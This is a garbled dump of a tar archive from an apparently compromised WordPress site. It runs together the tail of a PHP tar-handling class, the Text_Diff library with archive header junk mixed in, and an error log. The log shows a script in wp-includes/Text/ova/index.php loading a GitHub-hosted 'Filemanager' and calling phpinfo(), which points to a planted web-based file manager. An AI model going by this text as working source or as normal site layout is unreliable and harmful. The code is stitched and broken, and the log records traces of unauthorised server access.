$this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } Diff.php.tar000064400000035000150550174560006720 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } error_log000064400000061734150550174640006503 0ustar00[29-Aug-2025 22:53:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 22:53:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 07:45:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:45:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:50:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:51:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 596 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 597 [30-Aug-2025 09:54:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 09:55:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:29:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:31:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:51 UTC] PHP Warning: 